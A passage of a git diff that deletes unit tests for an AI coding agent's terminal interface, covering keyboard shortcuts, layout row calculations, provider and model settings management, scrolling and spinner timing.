commandPaletteOpen: true }); - expect(down.actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("Ctrl+Down still scrolls to bottom while command palette is open (Ctrl is not an arrow-only key)", () => { - const ctrlDown = dispatch("", { ...NO_KEY, ctrl: true, downArrow: true }, { commandPaletteOpen: true }); - expect(ctrlDown.actions.scrollToBottom).toHaveBeenCalledTimes(1); -}); - -// --- Other Ctrl shortcuts --- - -test("Ctrl+T calls toggleTaskPanel", () => { - const { actions } = dispatch("t", CTRL); - expect(actions.toggleTaskPanel).toHaveBeenCalledTimes(1); -}); - -test("Ctrl+R calls toggleLastTool", () => { - const { actions } = dispatch("r", CTRL); - expect(actions.toggleLastTool).toHaveBeenCalledTimes(1); -}); - -test("Ctrl+O calls toggleVerbose", () => { - const { actions } = dispatch("o", CTRL); - expect(actions.toggleVerbose).toHaveBeenCalledTimes(1); -}); - -test("Ctrl+P calls toggleTaskSidebar", () => { - const { actions } = dispatch("p", CTRL); - expect(actions.toggleTaskSidebar).toHaveBeenCalledTimes(1); -}); - -test("Ctrl+G calls toggleHelp", () => { - const { actions } = dispatch("g", CTRL); - expect(actions.toggleHelp).toHaveBeenCalledTimes(1); -}); diff --git a/tests/unit/tui/use-layout-geometry.test.ts b/tests/unit/tui/use-layout-geometry.test.ts deleted file mode 100644 index 1e4a8d3d8..000000000 --- a/tests/unit/tui/use-layout-geometry.test.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { test, expect } from "bun:test"; -import { computeVisibleRows, wrappedLineCount, computeOverlayRows } from "../../../src/tui/hooks/use-layout-geometry.js"; - -test("computeVisibleRows: no extra chrome", () => { - // 40 rows - 12 chrome - 0 overlay - 0 extra = 28 - expect(computeVisibleRows({ rows: 40, chromeRows: 12, effectiveOverlayRows: 0, extraChromeRows: 0 })).toBe(28); -}); - -test("computeVisibleRows: overlay subtracts from visible", () => { - // 40 rows - 12 chrome - 10 overlay - 0 extra = 18 - expect(computeVisibleRows({ rows: 40, chromeRows: 12, effectiveOverlayRows: 10, extraChromeRows: 0 })).toBe(18); -}); - -test("computeVisibleRows: mcpAuthPrompt visible adds 2 extra rows", () => { - // The McpAuthPrompt renders 2 rows outside overlay accounting - expect(computeVisibleRows({ rows: 40, chromeRows: 12, effectiveOverlayRows: 0, extraChromeRows: 2 })).toBe(26); -}); - -test("computeVisibleRows: commandMessage visible adds 1 extra row", () => { - // commandMessage renders 1 row outside overlay accounting - expect(computeVisibleRows({ rows: 40, chromeRows: 12, effectiveOverlayRows: 0, extraChromeRows: 1 })).toBe(27); -}); - -test("computeVisibleRows: both mcpAuth and commandMessage visible", () => { - expect(computeVisibleRows({ rows: 40, chromeRows: 12, effectiveOverlayRows: 0, extraChromeRows: 3 })).toBe(25); -}); - -test("computeVisibleRows: clamps to minimum of 1", () => { - expect(computeVisibleRows({ rows: 10, chromeRows: 12, effectiveOverlayRows: 20, extraChromeRows: 5 })).toBe(1); -}); - -test("computeVisibleRows: CHROME_ROWS reserves header, divider, modelBar, prompt, status", () => { - // sumChromeZoneRows() = 9: header(2)+divider(1)+modelBar(1)+prompt(3)+status(2) - // Progress is optional extraChrome when live; 24 - 9 - 0 - 0 = 15 visible when idle. - expect(computeVisibleRows({ rows: 24, chromeRows: 9, effectiveOverlayRows: 0, extraChromeRows: 0 })).toBe(15); -}); - -test("wrappedLineCount: single line fits width", () => { - expect(wrappedLineCount("hello world", 80)).toBe(1); -}); - -test("wrappedLineCount: line wraps to multiple", () => { - expect(wrappedLineCount("a".repeat(100), 80)).toBe(2); -}); - -test("wrappedLineCount: explicit newlines count as separate lines", () => { - expect(wrappedLineCount("line one\nline two\nline three", 80)).toBe(3); -}); - -test("wrappedLineCount: mixed wrapping and newlines", () => { - const text = "first paragraph\n" + "a".repeat(120) + "\nlast paragraph"; - expect(wrappedLineCount(text, 80)).toBe(4); -}); - -test("wrappedLineCount: long word splits across lines", () => { - expect(wrappedLineCount("a".repeat(200), 80)).toBe(3); -}); - -test("wrappedLineCount: exact-multiple long word does not overcount", () => { - expect(wrappedLineCount("a".repeat(160), 80)).toBe(2); -}); - -test("wrappedLineCount: empty string returns 1", () => { - expect(wrappedLineCount("", 80)).toBe(1); -}); - -test("wrappedLineCount: whitespace-only returns 1", () => { - expect(wrappedLineCount(" \n \n ", 80)).toBe(3); -}); - -test("wrappedLineCount: respects the actual width limit", () => { - expect(wrappedLineCount("hello world", 5)).toBe(2); -}); - -test("computeOverlayRows: multi-line permission subject returns exact expected rows", () => { - const script = "cat << 'EOF'\n#!/usr/bin/env bash\necho 'hello world'\nEOF"; - const expectedSubjectLines = wrappedLineCount(`Run shell command: ${script}`, 60); - const rows = computeOverlayRows({ - gateContext: { - pendingPermission: { - action: "Run shell command", - subject: script, - scopes: [{ pattern: null }], - }, - pendingOperator: null, - }, - modalContext: { - helpOpen: false, - hookPanelOpen: false, - exitConfirmOpen: false, - agentModalOpen: false, - permissionsOpen: false, - permissionEntryCount: 0, - }, - hookCount: 0, - providerCatalog: [], - innerWidth: 60, - }); - expect(rows).toBe(13 + expectedSubjectLines); - expect(expectedSubjectLines).toBeGreaterThan(3); -}); - -test("computeOverlayRows: exact-multiple word subject returns correct rows", () => { - const exactWord = "a".repeat(160); - const rows = computeOverlayRows({ - gateContext: { - pendingPermission: { - action: "Run shell command", - subject: exactWord, - scopes: [{ pattern: null }], - }, - pendingOperator: null, - }, - modalContext: { - helpOpen: false, - hookPanelOpen: false, - exitConfirmOpen: false, - agentModalOpen: false, - permissionsOpen: false, - permissionEntryCount: 0, - }, - hookCount: 0, - providerCatalog: [], - innerWidth: 80, - }); - expect(rows).toBe(16); -}); diff --git a/tests/unit/tui/use-layout-geometry.test.tsx b/tests/unit/tui/use-layout-geometry.test.tsx deleted file mode 100644 index 482f08b4c..000000000 --- a/tests/unit/tui/use-layout-geometry.test.tsx +++ /dev/null @@ -1,190 +0,0 @@ -import { test, expect } from "bun:test"; -import { - CHROME_ROWS, - computeOverlayRows, - computeVisibleRows, - type GateContext, - type ModalContext, - type UseLayoutGeometryArgs, -} from "../../../src/tui/hooks/use-layout-geometry.js"; -import type { ProviderCatalogEntry } from "../../../src/config/index.js"; - -// Default empty modal and gate contexts -const noGates: GateContext = { - pendingPermission: null, - pendingOperator: null, -}; - -const noModals: ModalContext = { - helpOpen: false, - hookPanelOpen: false, - exitConfirmOpen: false, - agentModalOpen: false, - permissionsOpen: false, - permissionEntryCount: 0, -}; - -type GeoArgs = { - columns?: number; - rows?: number; - sidebarOpen?: boolean; - gateContext?: GateContext; - modalContext?: ModalContext; - hookCount?: number; - providerCatalog?: ProviderCatalogEntry[]; -}; - -function computeGeo({ - columns = 100, - rows = 40, - sidebarOpen = false, - gateContext = noGates, - modalContext = noModals, - hookCount = 0, - providerCatalog = [], -}: GeoArgs = {}) { - const leftWidth = sidebarOpen ? Math.floor(columns * 0.65) : columns; - const rightWidth = columns - leftWidth; - const effectiveOverlayRows = computeOverlayRows({ - gateContext, - modalContext, - hookCount, - providerCatalog, - innerWidth: leftWidth - 8, - }); - const visibleRows = computeVisibleRows({ - rows, - chromeRows: CHROME_ROWS, - effectiveOverlayRows, - extraChromeRows: 0, - }); - return { leftWidth, rightWidth, visibleRows, effectiveOverlayRows }; -} - -// 1. Sidebar closed: leftWidth === columns, rightWidth === 0 -test("sidebar closed: leftWidth equals columns, rightWidth is 0", () => { - const geo = computeGeo({ columns: 100, sidebarOpen: false }); - expect(geo.leftWidth).toBe(100); - expect(geo.rightWidth).toBe(0); -}); - -// 2. Sidebar open: leftWidth = floor(columns * 0.65), rightWidth = columns - leftWidth -test("sidebar open: leftWidth is floor(columns * 0.65)", () => { - const geo = computeGeo({ columns: 100, sidebarOpen: true }); - expect(geo.leftWidth).toBe(Math.floor(100 * 0.65)); - expect(geo.rightWidth).toBe(100 - Math.floor(100 * 0.65)); -}); - -test("visibleRows equals rows - CHROME_ROWS - effectiveOverlayRows", () => { - const geo = computeGeo({ rows: 40 }); - expect(geo.visibleRows).toBe(40 - CHROME_ROWS - geo.effectiveOverlayRows); -}); - -test("no modals or gates: effectiveOverlayRows is 0 and visibleRows is rows - CHROME_ROWS", () => { - const geo = computeGeo({ rows: 40 }); - expect(geo.effectiveOverlayRows).toBe(0); - expect(geo.visibleRows).toBe(40 - CHROME_ROWS); -}); - -// 5. helpOpen: true → effectiveOverlayRows === 16 -test("helpOpen: effectiveOverlayRows is 16", () => { - const geo = computeGeo({ modalContext: { ...noModals, helpOpen: true } }); - expect(geo.effectiveOverlayRows).toBe(16); -}); - -// 6. exitConfirmOpen: true → effectiveOverlayRows === 6 -test("exitConfirmOpen: effectiveOverlayRows is 6", () => { - const geo = computeGeo({ - modalContext: { ...noModals, exitConfirmOpen: true }, - }); - expect(geo.effectiveOverlayRows).toBe(6); -}); - -// 7. hookPanelOpen: true with hookCount=3 → effectiveOverlayRows === 4 + 3 = 7 -test("hookPanelOpen with hookCount=3: effectiveOverlayRows is 7", () => { - const geo = computeGeo({ - modalContext: { ...noModals, hookPanelOpen: true }, - hookCount: 3, - }); - expect(geo.effectiveOverlayRows).toBe(7); -}); - -// exitConfirmOpen dedicated test -test("exitConfirmOpen: effectiveOverlayRows is 6", () => { - const geo = computeGeo({ - modalContext: { ...noModals, exitConfirmOpen: true }, - }); - expect(geo.effectiveOverlayRows).toBe(6); -}); - -// 8. agentModalOpen with 2 providers each having 3 models → effectiveOverlayRows === 16 + max(2, 3) = 19 -test("agentModalOpen with 2 providers each having 3 models: effectiveOverlayRows is 19", () => { - const providerCatalog = [ - { id: "p1", name: "P1", models: [{ id: "m1" }, { id: "m2" }, { id: "m3" }] }, - { id: "p2", name: "P2", models: [{ id: "m4" }, { id: "m5" }, { id: "m6" }] }, - ] as unknown as ProviderCatalogEntry[]; - const geo = computeGeo({ - modalContext: { ...noModals, agentModalOpen: true }, - providerCatalog, - }); - expect(geo.effectiveOverlayRows).toBe(19); -}); - -// 9. pendingOperator with a short question and 4 short options → fixed (7) + -// 1 question line + 4 option lines = 12. -test("pendingOperator with a short question and 4 options: effectiveOverlayRows is 12", () => { - const geo = computeGeo({ - gateContext: { - ...noGates, - pendingOperator: { question: "Pick one", options: ["a", "b", "c", "d"] }, - }, - }); - expect(geo.effectiveOverlayRows).toBe(12); -}); - -// 11. A long question that wraps across many lines must reserve those rows so -// the event log does not overpaint the modal (the original overflow bug). -test("pendingOperator with a long wrapping question reserves the wrapped rows", () => { - const longQuestion = Array.from({ length: 20 }, () => "word").join(" ").repeat(20); - const geo = computeGeo({ - columns: 40, - gateContext: { - ...noGates, - pendingOperator: { question: longQuestion, options: ["yes", "no"] }, - }, - }); - expect(geo.effectiveOverlayRows).toBeGreaterThan(20); -}); - -// Edge: very small rows → visibleRows floors at 1 -test("very small rows: visibleRows floors at 1", () => { - const geo = computeGeo({ rows: 5 }); - expect(geo.visibleRows).toBe(1); -}); - -// Sidebar open with non-round columns -test("sidebar open with odd columns: widths sum to columns", () => { - const geo = computeGeo({ columns: 133, sidebarOpen: true }); - expect(geo.leftWidth + geo.rightWidth).toBe(133); - expect(geo.leftWidth).toBe(Math.floor(133 * 0.65)); -}); - -// 13. pendingPermission with a multi-line shell subject (heredoc / script) must -// reserve the wrapped lines so the event log never overpaints the modal. -test("pendingPermission with multi-line shell script reserves wrapped rows", () => { - const script = "cat << 'EOF'\n#!/usr/bin/env bash\necho 'hello world'\nEOF"; - const geo = computeGeo({ - columns: 80, - gateContext: { - ...noGates, - pendingPermission: { - action: "Run shell command", - subject: script, - scopes: [{ pattern: null }], - }, - }, - }); - // A multi-line script wrapped to ~72 cols needs 4+ subject lines; the old - // naive ceil(length/width) gave 1. 13 fixed + choices + subject lines. - expect(geo.effectiveOverlayRows).toBeGreaterThan(16); -}); diff --git a/tests/unit/tui/use-provider-manager.test.tsx b/tests/unit/tui/use-provider-manager.test.tsx deleted file mode 100644 index 59fe8b418..000000000 --- a/tests/unit/tui/use-provider-manager.test.tsx +++ /dev/null @@ -1,406 +0,0 @@ -import { test, expect, mock, beforeEach } from "bun:test"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { act } from "react"; - -const mockSaveGlobalSettings = mock(async (_path: string, _settings: unknown) => {}); -const mockSaveLocalSettings = mock(async (_path: string, _settings: unknown) => {}); -const mockLoadSettings = mock(async (_path: string): Promise => null); - -// Keep real settings exports (PROVIDER_TIERS, etc.) and only stub I/O so the -// inference-sources import chain still resolves. -const settingsActual = await import("../../../src/config/settings.js"); -mock.module("../../../src/config/settings.js", () => ({ - ...settingsActual, - saveGlobalSettings: mockSaveGlobalSettings, - saveLocalSettings: mockSaveLocalSettings, - loadSettings: mockLoadSettings, - localSettingsPath: (cwd: string) => `${cwd}/.agent/settings.json`, -})); - -const indexActual = await import("../../../src/config/index.js"); -mock.module("../../../src/config/index.js", () => ({ - ...indexActual, - buildOpenAISource: (opts: unknown) => opts, - // Mirror production: keep every non-provider field from the merge base. - providerCatalogToSettings: ( - _catalog: unknown[], - defaultProvider: string | undefined, - existing?: Record, - ) => { - if (existing === undefined) { - return { - ...(defaultProvider !== undefined ? { defaultProvider } : {}), - providers: {}, - }; - } - const { providers: _p, defaultProvider: _d, ...rest } = existing; - return { - ...rest, - ...(defaultProvider !== undefined ? { defaultProvider } : {}), - providers: {}, - }; - }, -})); - -const { useProviderManager } = await import( - "../../../src/tui/hooks/use-provider-manager.js" -); - -import type { UseProviderManagerArgs, ProviderManagerController } from "../../../src/tui/hooks/use-provider-manager.js"; - -const tick = (): Promise => new Promise((r) => setTimeout(r, 20)); - -const BASE_CATALOG = [ - { name: "openai", baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o", "gpt-3.5-turbo"] }, - { name: "anthropic", baseURL: "https://api.anthropic.com/v1", apiKey: "sk-ant", models: ["claude-3-opus"] }, -]; - -function makeAgent() { - return { setSources: mock((_sources: unknown, _default: string) => {}) }; -} - -function makeArgs(overrides: Partial = {}): UseProviderManagerArgs { - const base: UseProviderManagerArgs = { - initialProvider: "openai", - initialModel: "gpt-4o", - initialCatalog: BASE_CATALOG, - initialGlobalDefaultProvider: "openai", - cwd: "/repo", - globalSettingsPath: "/home/.agent/settings.json", - getSessionId: () => "test-session", - agent: makeAgent() as unknown as UseProviderManagerArgs["agent"], - onMessage: mock((_msg: string) => {}), - }; - return { ...base, ...overrides }; -} - -let capturedCtrl: ProviderManagerController; - -function CapturingHarness({ args }: { args: UseProviderManagerArgs }) { - const ctrl = useProviderManager(args); - capturedCtrl = ctrl; - return ( - - {JSON.stringify({ - provider: ctrl.provider, - model: ctrl.model, - catalogLen: ctrl.providerCatalog.length, - globalDefaultProvider: ctrl.globalDefaultProvider, - })} - - ); -} - -beforeEach(() => { - mockSaveGlobalSettings.mockClear(); - mockSaveLocalSettings.mockClear(); - mockLoadSettings.mockClear(); - mockLoadSettings.mockImplementation(async () => null); -}); - -test("initial state: provider and model match initial values", () => { - const args = makeArgs(); - const { lastFrame } = render(); - const state = JSON.parse(lastFrame()!); - expect(state.provider).toBe("openai"); - expect(state.model).toBe("gpt-4o"); - expect(state.catalogLen).toBe(2); -}); - -test("applySelection with valid provider updates provider/model, calls setSource and onMessage", async () => { - const onMessage = mock((_msg: string) => {}); - const agent = makeAgent(); - const args = makeArgs({ onMessage, agent: agent as unknown as UseProviderManagerArgs["agent"] }); - const { lastFrame } = render(); - - await act(async () => { - capturedCtrl.applySelection("anthropic", "claude-3-opus", undefined); - }); - - const state = JSON.parse(lastFrame()!); - expect(state.provider).toBe("anthropic"); - expect(state.model).toBe("claude-3-opus"); - expect(agent.setSources).toHaveBeenCalled(); - expect(onMessage).toHaveBeenCalledWith(expect.stringContaining("Now using anthropic")); -}); - -test("applySelection with unknown provider calls onMessage with 'no longer configured', does not update state", async () => { - const onMessage = mock((_msg: string) => {}); - const agent = makeAgent(); - const args = makeArgs({ onMessage, agent: agent as unknown as UseProviderManagerArgs["agent"] }); - const { lastFrame } = render(); - - await act(async () => { - capturedCtrl.applySelection("nonexistent", "some-model", undefined); - }); - - const state = JSON.parse(lastFrame()!); - expect(state.provider).toBe("openai"); - expect(state.model).toBe("gpt-4o"); - expect(onMessage).toHaveBeenCalledWith(expect.stringContaining("no longer configured")); - expect(agent.setSources).not.toHaveBeenCalled(); -}); - -test("persistSelection applies selection and calls saveLocalSettings", async () => { - const onMessage = mock((_msg: string) => {}); - const args = makeArgs({ onMessage }); - const { lastFrame } = render(); - - await act(async () => { - capturedCtrl.persistSelection("anthropic", "claude-3-opus", undefined); - }); - await tick(); - - const state = JSON.parse(lastFrame()!); - expect(state.provider).toBe("anthropic"); - expect(state.model).toBe("claude-3-opus"); - expect(mockSaveLocalSettings).toHaveBeenCalledWith( - "/repo/.agent/settings.json", - { provider: "anthropic", model: "claude-3-opus" }, - ); -}); - -test("applySelection threads reasoning effort into the source and state", async () => { - const agent = makeAgent(); - const args = makeArgs({ agent: agent as unknown as UseProviderManagerArgs["agent"] }); - render(); - - await act(async () => { - capturedCtrl.applySelection("anthropic", "claude-3-opus", "high"); - }); - - expect(capturedCtrl.reasoningEffort).toBe("high"); - expect(agent.setSources).toHaveBeenCalled(); -}); - -test("persistSelection with effort writes reasoningEffort to local settings", async () => { - const args = makeArgs(); - render(); - - await act(async () => { - capturedCtrl.persistSelection("anthropic", "claude-3-opus", "medium"); - }); - await tick(); - - expect(mockSaveLocalSettings).toHaveBeenCalledWith( - "/repo/.agent/settings.json", - { provider: "anthropic", model: "claude-3-opus", reasoningEffort: "medium" }, - ); -}); - -test("persistSelection with no override omits reasoningEffort from local settings", async () => { - const args = makeArgs({ initialReasoningEffort: "high" }); - render(); - - await act(async () => { - capturedCtrl.persistSelection("anthropic", "claude-3-opus", undefined); - }); - await tick(); - - expect(mockSaveLocalSettings).toHaveBeenCalledWith( - "/repo/.agent/settings.json", - { provider: "anthropic", model: "claude-3-opus" }, - ); -}); - -test("upsertProvider with name conflict returns error and does not update state", async () => { - const args = makeArgs(); - render(); - - let result: ReturnType; - await act(async () => { - result = capturedCtrl.upsertProvider({ - name: "anthropic", - baseURL: "https://api.anthropic.com/v1", - apiKey: "sk-new", - models: ["claude-3-opus"], - }); - }); - - expect(result!.ok).toBe(false); - expect((result! as { ok: false; error: string }).error).toContain("already exists"); -}); - -test("upsertProvider with missing API key returns error", async () => { - const args = makeArgs(); - render(); - - let result: ReturnType; - await act(async () => { - result = capturedCtrl.upsertProvider({ - name: "newprovider", - baseURL: "https://api.newprovider.com/v1", - models: ["model-a"], - }); - }); - - expect(result!.ok).toBe(false); - expect((result! as { ok: false; error: string }).error).toContain("API key is required"); -}); - -test("upsertProvider with no models returns error", async () => { - const args = makeArgs(); - render(); - - let result: ReturnType; - await act(async () => { - result = capturedCtrl.upsertProvider({ - name: "newprovider", - baseURL: "https://api.newprovider.com/v1", - apiKey: "sk-new", - models: [], - }); - }); - - expect(result!.ok).toBe(false); - expect((result! as { ok: false; error: string }).error).toContain("at least one model"); -}); - -test("upsertProvider success adds to catalog, calls setSource, saveLocalSettings, saveGlobalSettings", async () => { - const agent = makeAgent(); - const args = makeArgs({ agent: agent as unknown as UseProviderManagerArgs["agent"] }); - const { lastFrame } = render(); - - let result: ReturnType; - await act(async () => { - result = capturedCtrl.upsertProvider({ - name: "mistral", - baseURL: "https://api.mistral.ai/v1", - apiKey: "sk-mis", - models: ["mistral-large"], - }); - }); - await tick(); - - expect(result!.ok).toBe(true); - const state = JSON.parse(lastFrame()!); - expect(state.catalogLen).toBe(3); - expect(agent.setSources).toHaveBeenCalled(); - expect(mockSaveLocalSettings).toHaveBeenCalled(); - expect(mockSaveGlobalSettings).toHaveBeenCalled(); -}); - -test("deleteProvider with only one provider calls onMessage and leaves catalog unchanged", async () => { - const onMessage = mock((_msg: string) => {}); - const singleCatalog = [ - { name: "openai", baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o"] }, - ]; - const args = makeArgs({ initialCatalog: singleCatalog, onMessage }); - const { lastFrame } = render(); - - await act(async () => { - capturedCtrl.deleteProvider("openai"); - }); - - const state = JSON.parse(lastFrame()!); - expect(state.catalogLen).toBe(1); - expect(onMessage).toHaveBeenCalledWith(expect.stringContaining("Cannot remove the last provider")); -}); - -test("deleteProvider success removes from catalog and calls saveGlobalSettings", async () => { - const args = makeArgs(); - const { lastFrame } = render(); - - await act(async () => { - capturedCtrl.deleteProvider("anthropic"); - }); - await tick(); - - const state = JSON.parse(lastFrame()!); - expect(state.catalogLen).toBe(1); - expect(mockSaveGlobalSettings).toHaveBeenCalled(); -}); - -test("provider save merges plugins from on-disk settings, not only session-start snapshot", async () => { - // Session started without plugins; mid-session /plugins wrote them to disk. - // A later provider save must not stomp that enablement with initialSettings. - mockLoadSettings.mockImplementation(async () => ({ - providers: { - openai: { baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o"] }, - }, - plugins: { "path-plugin": { enabled: true } }, - pluginPaths: ["/abs/plugins/path-plugin"], - })); - - const args = makeArgs({ - initialSettings: { - providers: { - openai: { baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o"] }, - }, - }, - }); - render(); - - await act(async () => { - capturedCtrl.upsertProvider({ - name: "mistral", - baseURL: "https://api.mistral.ai/v1", - apiKey: "sk-mis", - models: ["mistral-large"], - }); - }); - await tick(); - - expect(mockLoadSettings).toHaveBeenCalledWith("/home/.agent/settings.json"); - expect(mockSaveGlobalSettings).toHaveBeenCalled(); - const saved = mockSaveGlobalSettings.mock.calls[0]![1] as { - plugins?: Record; - pluginPaths?: string[]; - }; - expect(saved.plugins).toEqual({ "path-plugin": { enabled: true } }); - expect(saved.pluginPaths).toEqual(["/abs/plugins/path-plugin"]); -}); - -test("provider save fails closed when on-disk settings cannot be loaded", async () => { - mockLoadSettings.mockImplementation(async () => { - throw new Error("Invalid JSON in settings file"); - }); - const onMessage = mock((_msg: string) => {}); - const args = makeArgs({ onMessage }); - render(); - - await act(async () => { - capturedCtrl.upsertProvider({ - name: "mistral", - baseURL: "https://api.mistral.ai/v1", - apiKey: "sk-mis", - models: ["mistral-large"], - }); - }); - await tick(); - - expect(mockSaveGlobalSettings).not.toHaveBeenCalled(); - expect(onMessage).toHaveBeenCalledWith(expect.stringContaining("saving failed")); -}); - -test("tier save merges plugins from on-disk settings", async () => { - mockLoadSettings.mockImplementation(async () => ({ - providers: { - openai: { baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o"] }, - }, - plugins: { cmd: { enabled: true } }, - pluginPaths: ["/abs/cmd"], - })); - const args = makeArgs({ - initialSettings: { - providers: { - openai: { baseURL: "https://api.openai.com/v1", apiKey: "sk-test", models: ["gpt-4o"] }, - }, - }, - }); - render(); - - await act(async () => { - capturedCtrl.saveTierAssignment("fast", "openai", "gpt-4o"); - }); - await tick(); - - expect(mockLoadSettings).toHaveBeenCalled(); - const saved = mockSaveGlobalSettings.mock.calls[0]![1] as { - plugins?: Record; - tiers?: Record; - }; - expect(saved.plugins).toEqual({ cmd: { enabled: true } }); - expect(saved.tiers).toBeDefined(); -}); diff --git a/tests/unit/tui/use-revolving-verb.test.tsx b/tests/unit/tui/use-revolving-verb.test.tsx deleted file mode 100644 index e49d066cf..000000000 --- a/tests/unit/tui/use-revolving-verb.test.tsx +++ /dev/null @@ -1,21 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { useRevolvingVerb } from "../../../src/tui/hooks/use-revolving-verb.js"; - -const KNOWN = ["thinking", "streaming", "running", "reasoning", "composing", "working"]; - -function Verb({ active }: { active: boolean }) { - const verb = useRevolvingVerb(active); - return {verb ?? "idle"}; -} - -test("useRevolvingVerb returns undefined while inactive", () => { - const { lastFrame } = render(); - expect(lastFrame()).toBe("idle"); -}); - -test("useRevolvingVerb returns a known verb while active", () => { - const { lastFrame } = render(); - expect(KNOWN).toContain(lastFrame() ?? ""); -}); diff --git a/tests/unit/tui/use-scroll.test.tsx b/tests/unit/tui/use-scroll.test.tsx deleted file mode 100644 index 00a2ae8d7..000000000 --- a/tests/unit/tui/use-scroll.test.tsx +++ /dev/null @@ -1,110 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { EventEmitter } from "node:events"; -import { Text } from "ink"; -import { useInput } from "ink"; -import type { ReactNode } from "react"; -import { useMouseScroll } from "../../../src/tui/hooks/use-mouse-scroll.js"; -import { useScroll } from "../../../src/tui/hooks/use-scroll.js"; - -function Harness({ maxOffset }: { maxOffset: number }): ReactNode { - const scroll = useScroll({ maxOffset }); - useInput((input) => { - if (input === "u") scroll.scrollUp(); - if (input === "d") scroll.scrollDown(); - if (input === "b") scroll.scrollToBottom(); - }); - return {`offset=${scroll.scrollOffset} bottom=${scroll.atBottom ? "1" : "0"}`}; -} - -function MouseHarness({ mouseEvents }: { mouseEvents: EventEmitter }): ReactNode { - const scroll = useScroll({ maxOffset: 50 }); - useMouseScroll( - mouseEvents, - (ticks) => scroll.scrollUp(ticks * 3), - (ticks) => scroll.scrollDown(ticks * 3), - ); - return {`offset=${scroll.scrollOffset} bottom=${scroll.atBottom ? "1" : "0"}`}; -} - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -test("auto-pins to the bottom as content grows", async () => { - const { lastFrame, rerender } = render(); - await tick(); - expect(lastFrame()).toContain("offset=2 bottom=1"); - - rerender(); - await tick(); - expect(lastFrame()).toContain("offset=19 bottom=1"); -}); - -test("scrollUp unpins and clamps at zero", async () => { - const { lastFrame, stdin } = render(); - await tick(); - expect(lastFrame()).toContain("offset=19 bottom=1"); - - for (let i = 0; i < 25; i++) { - stdin.write("u"); - await tick(); - } - expect(lastFrame()).toContain("offset=0 bottom=0"); -}); - -test("scrollDown clamps at maxOffset and re-pins at the bottom", async () => { - const { lastFrame, stdin } = render(); - await tick(); - stdin.write("u"); - await tick(); - stdin.write("u"); - await tick(); - expect(lastFrame()).toContain("bottom=0"); - - for (let i = 0; i < 10; i++) { - stdin.write("d"); - await tick(); - } - expect(lastFrame()).toContain("offset=19 bottom=1"); -}); - -test("a pinned-to-bottom offset that exceeds shrunken content stays at the new bottom", async () => { - const { lastFrame, rerender, stdin } = render(); - await tick(); - stdin.write("u"); - await tick(); - stdin.write("u"); - await tick(); - expect(lastFrame()).toContain("offset=17 bottom=0"); - - rerender(); - await tick(); - expect(lastFrame()).toContain("offset=2 bottom=1"); -}); - -test("scrollToBottom re-pins after scrolling up", async () => { - const { lastFrame, stdin } = render(); - await tick(); - stdin.write("u"); - await tick(); - stdin.write("u"); - await tick(); - expect(lastFrame()).toContain("bottom=0"); - stdin.write("b"); - await tick(); - expect(lastFrame()).toContain("offset=19 bottom=1"); -}); - -test("mouse wheel bursts coalesce into one scroll update", async () => { - const mouseEvents = new EventEmitter(); - const { lastFrame } = render(); - await tick(); - expect(lastFrame()).toContain("offset=50 bottom=1"); - - mouseEvents.emit("scrollUp"); - mouseEvents.emit("scrollUp"); - mouseEvents.emit("scrollUp"); - expect(lastFrame()).toContain("offset=50 bottom=1"); - - await tick(); - expect(lastFrame()).toContain("offset=41 bottom=0"); -}); diff --git a/tests/unit/tui/use-spinner.test.tsx b/tests/unit/tui/use-spinner.test.tsx deleted file mode 100644 index f09e6e0e0..000000000 --- a/tests/unit/tui/use-spinner.test.tsx +++ /dev/null @@ -1,119 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { - elapsedMsFromAnchor, - useSpinner, - SPINNER_FRAMES, -} from "../../../src/tui/hooks/use-spinner.js"; - -function Harness({ active, resetKey }: { active: boolean; resetKey?: number }) { - const { anchor } = useSpinner(active, resetKey); - const elapsedMs = elapsedMsFromAnchor(anchor); - return {`anchor:${anchor ?? "null"}|elapsed:${elapsedMs}`}; -} - -const tick = (ms = 20): Promise => new Promise((r) => setTimeout(r, ms)); - -test("SPINNER_FRAMES has 10 entries", () => { - expect(SPINNER_FRAMES.length).toBe(10); -}); - -test("inactive: anchor is null and elapsedMs is 0", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("anchor:null"); - expect(lastFrame()).toContain("elapsed:0"); -}); - -test("active: exposes a timing anchor", () => { - const { lastFrame } = render(); - const frame = lastFrame() ?? ""; - expect(frame).toMatch(/anchor:\d+/); -}); - -test("active: elapsedMs increases over time", async () => { - const { lastFrame, rerender } = render(); - await tick(200); - rerender(); - const frame = lastFrame() ?? ""; - const match = /elapsed:(\d+)/.exec(frame); - expect(match).not.toBeNull(); - expect(Number(match![1])).toBeGreaterThan(0); -}); - -test("flipping active to false clears anchor and elapsedMs", async () => { - const { lastFrame, rerender } = render(); - await tick(200); - rerender(); - await tick(20); - expect(lastFrame()).toContain("anchor:null"); - expect(lastFrame()).toContain("elapsed:0"); -}); - -// When resetKey changes, the cumulative elapsed must restart at 0 so a -// new user turn does not inherit the prior turn's running total. -test("changing resetKey resets elapsedMs to 0 even after prior accumulation", async () => { - const { lastFrame, rerender } = render(); - await tick(200); - - // Briefly idle to preserve accumulated time in pausedElapsedRef. - rerender(); - await tick(20); - - // New turn — resetKey increments. Even though pausedElapsedRef held prior - // elapsed, the new key must zero it out before the spinner re-arms. - rerender(); - await tick(20); - - const frame = lastFrame() ?? ""; - const match = /elapsed:(\d+)/.exec(frame); - expect(match).not.toBeNull(); - // Fresh turn: elapsed should be close to 0 (only ~20 ms since reset). - expect(Number(match![1])).toBeLessThan(150); -}); - -// Within a single turn, re-arming with the same resetKey must still -// accumulate (preserves C2 behavior). -test("same resetKey preserves cumulative elapsed across re-arms", async () => { - const { lastFrame, rerender } = render(); - await tick(200); - - // Briefly idle — same key, same turn. - rerender(); - await tick(20); - - // Re-arm with same key 